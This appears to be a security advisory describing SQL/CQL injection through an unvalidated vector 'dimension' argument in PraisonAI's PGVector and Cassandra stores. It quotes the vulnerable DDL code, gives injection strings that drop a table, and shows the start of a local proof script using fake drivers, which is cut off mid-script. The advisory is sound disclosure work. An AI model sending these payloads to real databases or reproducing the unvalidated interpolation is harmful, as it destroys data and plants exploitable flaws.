CVE-2026-60090: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') in MervinPraison PraisonAI

# PGVector and Cassandra knowledge stores interpolate vector dimensions into DDL ## Summary The PGVector and Cassandra knowledge-store backends validate SQL/CQL identifiers such as schema, keyspace, and collection names, but still insert the caller-controlled `dimension` argument directly into `CREATE TABLE` vector column declarations. A caller that can influence collection creation dimensions can append SQL/CQL tokens to the generated DDL executed by the database driver. ## Technical Details The affected boundary is the vector-store collection creation API. The shared `KnowledgeStore.create_collection()` contract declares `dimension: int`, but Python type hints are not enforced at runtime. Backends that interpolate that value into DDL must validate the runtime value before constructing SQL/CQL. `src/praisonai/praisonai/persistence/knowledge/pgvector.py` already treats DDL identifier interpolation as security-sensitive: `__init__()` calls `validate_identifier(schema, name="schema")`, and `_table_name()` calls `validate_identifier(collection, name="collection name")` before returning `f"{self.schema}.praison_vec_{collection}"`. However, `PGVectorKnowledgeStore.create_collection()` then executes: ```python cur.execute(f""" CREATE TABLE IF NOT EXISTS {table} ( id VARCHAR(255) PRIMARY KEY, content TEXT, content_hash VARCHAR(64), created_at DOUBLE PRECISION, metadata JSONB, embedding vector({dimension}) ) """) ``` No equivalent type or range check runs on `dimension`. Passing a string such as `3); DROP TABLE tenant_secrets; --` reaches the SQL sent to `cur.execute()`. `src/praisonai/praisonai/persistence/knowledge/cassandra.py` has the same pattern. The constructor validates `keyspace`, and `create_collection()` validates the collection name, but the vector column DDL uses: ```python self._session.execute(f""" CREATE TABLE IF NOT EXISTS {name} ( id text PRIMARY KEY, content text, content_hash text, created_at double, embedding vector<float, {dimension}> ) """) ``` Passing a string such as `3>; DROP TABLE tenant_secrets; --` reaches the CQL sent to `session.execute()`. ## PoV This minimal PoV imports the real backend classes with fake database drivers, records the statements sent to the drivers, and compares a safe integer dimension with a malicious string dimension. It also attempts a malicious collection name as a negative control; current code rejects that name, proving the identifier hardening is active while the vector dimension remains unguarded. ```python #!/usr/bin/env python3 """Local PoV for vector-store dimension DDL interpolation. The script imports PraisonAI's current source with fake PostgreSQL/Cassandra drivers, then records the SQL/CQL sent to the driver cursors. No database server is required; the assertion is that the real classes build executable DDL with an attacker-controlled dimension string. """ from __future__ import annotations import argparse import importlib import json import subprocess import sys import types from pathlib import Path from typing import Any class SqlRecorder: def __init__(self) -> None: self.statements: list[dict[str, Any]] = [] def execute(self, statement: str, params: Any = None) -> None: normalized = "\n".join(line.rstrip() for line in statement.strip().splitlines()) self.statements.append({"statement": normalized, "params": params}) def __enter__(self) -> "SqlRecorder": return self def __exit__(self, *_exc: object) -> None: return None class FakeConnection: def __init__(self, recorder: SqlRecorder) -> None: self.recorder = recorder def cursor(self, *args: Any, **kwargs: Any) -> SqlRecorder: return self.recorder def commit(self) -> None: return None class FakePool: def __init__(self, recorder: SqlRecorder) -> None: self.conn = FakeConnection(recorder) def getconn(self) -> FakeConnection: return self.conn def putconn(self, _conn: FakeConnection) -> None: return None def closeall(self) -> None: return None class FakeCassandraSession: def __init__(self, recorder: SqlRecorder) -> None: self.recorder = recorder self.keyspace: str | None = None def execute(self, statement: str, params: Any = None) -> list[Any]: self.recorder.execute(statement, params) return [] def set_keyspace(self, keyspace: str) -> None: self.keyspace = keyspace class FakeCluster: recorder: SqlRecorder def __init__(self, *_args: Any, **_kwargs: Any) -> None: self.session = FakeCassandraSession(self.recorder) def connect(self) -> FakeCassandraSession: return self.session def shutdown(self) -> None: return None def install_fake_pg_driver(recorder: SqlRecorder) -> None: psycopg2 = types.ModuleType("psycopg2") pool = types.Modul